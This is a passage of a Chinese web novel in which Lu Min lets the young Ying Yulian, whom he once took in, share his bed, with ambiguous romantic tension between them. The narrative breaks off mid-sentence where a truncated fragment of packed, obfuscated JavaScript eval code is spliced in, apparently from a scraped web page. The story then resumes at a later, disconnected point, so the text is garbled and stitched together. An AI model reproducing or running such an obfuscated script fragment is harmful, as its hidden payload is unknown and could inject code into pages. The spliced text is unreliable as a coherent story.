门被从里面拉开了。 路旻穿着深色的丝质睡衣,站在门口。 房间里只开了一盏很暗的床头灯,暖黄的光晕将他高大的身影笼罩,男人看到应郁怜怀里抱着的枕头,嘴角翘了一下,但很快他向下看到了应郁怜光着的脚,眉头几不可察地蹙了一下。 “怎么不知道穿一个袜子来。” 路旻无奈地叹了口气,他拿起衣架上的大衣,先把应郁怜裹起来,抱在腿上,带着薄茧大手,立刻将少年的脚捧在掌心 ,用灼热的体温,让那双脚暖起来。 应郁怜被男人掌心的茧子磨得有点痒,他向后瑟缩了一点,想躲开那深入骨髓的痒意,脚踝却被路旻的大手牢牢握住。 少年缩脚的动作,被男人误解成了怕冷。 男人向掌心吹了口热气,又继续用掌心捂住应郁怜的脚,他关切地看向应郁怜,轻声问: “还冷吗?” 灯光太暗,以至于路旻这样眼尖的人,也没能发现应郁怜的耳朵已经红透了。 少年深吸了一口气,平复狂跳的心脏,他抓住路旻的手,放在自己的两颊,软肉从路旻的手里溢出。 应郁怜的脸被他养的很软很滑,路旻没忍住又捏了捏,白皙的皮肤上立刻浮现出了一道红痕。 “刚暖完脚,就拉着我的手去摸你的脸,也不嫌脏。” 男人明明是责备的语气,却无端地多了几分无可奈何的宠溺。 应郁怜笑着,抱住了路旻的腰,把自己整个人埋进路旻的怀里,丝质睡衣很薄,少年滚烫的体温,烫得路旻心尖一颤。 他看到了卧室里的镜子里倒映着他们的样子,他单手撑在床头,应郁怜跪坐在他的床上,像一株无人依靠的莬丝花,双手攀附着他的腰身,明明是副楚楚可怜的表情,却让人有种被控制的窒息感。 而且,他和应郁怜之间的距离也太近了…… 近的有股说不清道不明的暧昧。 可这本就不是他们之间关系该有的…… “离我远一点,你呼出来的气太热了。” 路旻犹豫再三,在寒冷的春夜找了这样一个烂俗借口,他的本意是想保护应郁怜敏感的性格,却没想到彻底给蠢蠢欲动的少年递出了把柄。 他抵在少年肩头,想要推开男孩,却迟迟未动的手指,被应郁怜握住,放在了心口。 “哥在开玩笑吗,这么冷的晚上,不是正巧适合两个人一起取暖吗?” “还是说,哥刚刚摸完我,觉得我很脏?” 少年说到这句话的时候,声音明显地弱了下去,他将毛茸茸的头埋入男人的胸前,路旻唯一能闻到的只有和他身上相同的雪松沐浴露的味道。 “我已经浑身都是哥的味道了,一点也不脏。” “而且,哥,我好冷啊。” “上来吧。” 路旻感受着掌心下冰凉的温度,他无奈地拉开被子。 应郁怜立刻把自己的枕头放在路旻的枕头旁,滚进了被子里,被子里还残留着路旻的体温和气息,让他冰凉的指尖微微回暖。 路旻看了他一眼,没说什么,只是从衣柜里又拿出来了一床被子,准备铺在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他突然又觉得或许真的只是自己这个活了两世的人,思想太过于龌龊与肮脏,或许这个年龄的孩子,这种没有接受过完全社会化的孩子,表达好感,与爱意的样子本就是如此。 炽烈,纯真,像献祭一样不顾一切,就如那个吻。 “没事的,哥,我还是回去睡吧。” 应郁怜眼睫垂下,抱着枕头就准备离开。 “等等,你上来吧,是哥的错。” 路旻看着少年可怜巴巴的背影,他不知怎么地又想到了小孩刚被他捡回来的脏污弱小的模样,还是心软地上床。 男人的下巴轻轻地抵在少年的发顶,另一只手搭在他的背后,有一下没一下地,极其轻柔地拍抚着,如同哄慰一个不安的孩童。 “睡吧。” 路旻的声音在黑暗中响起。 “冷的话,就靠紧点。” 应郁怜没说话,只是将脸更深地埋进路旻的胸口。 嘴角却忍不住的上扬。 心软的哥哥啊,你怎么看不出我是在用激将法呢。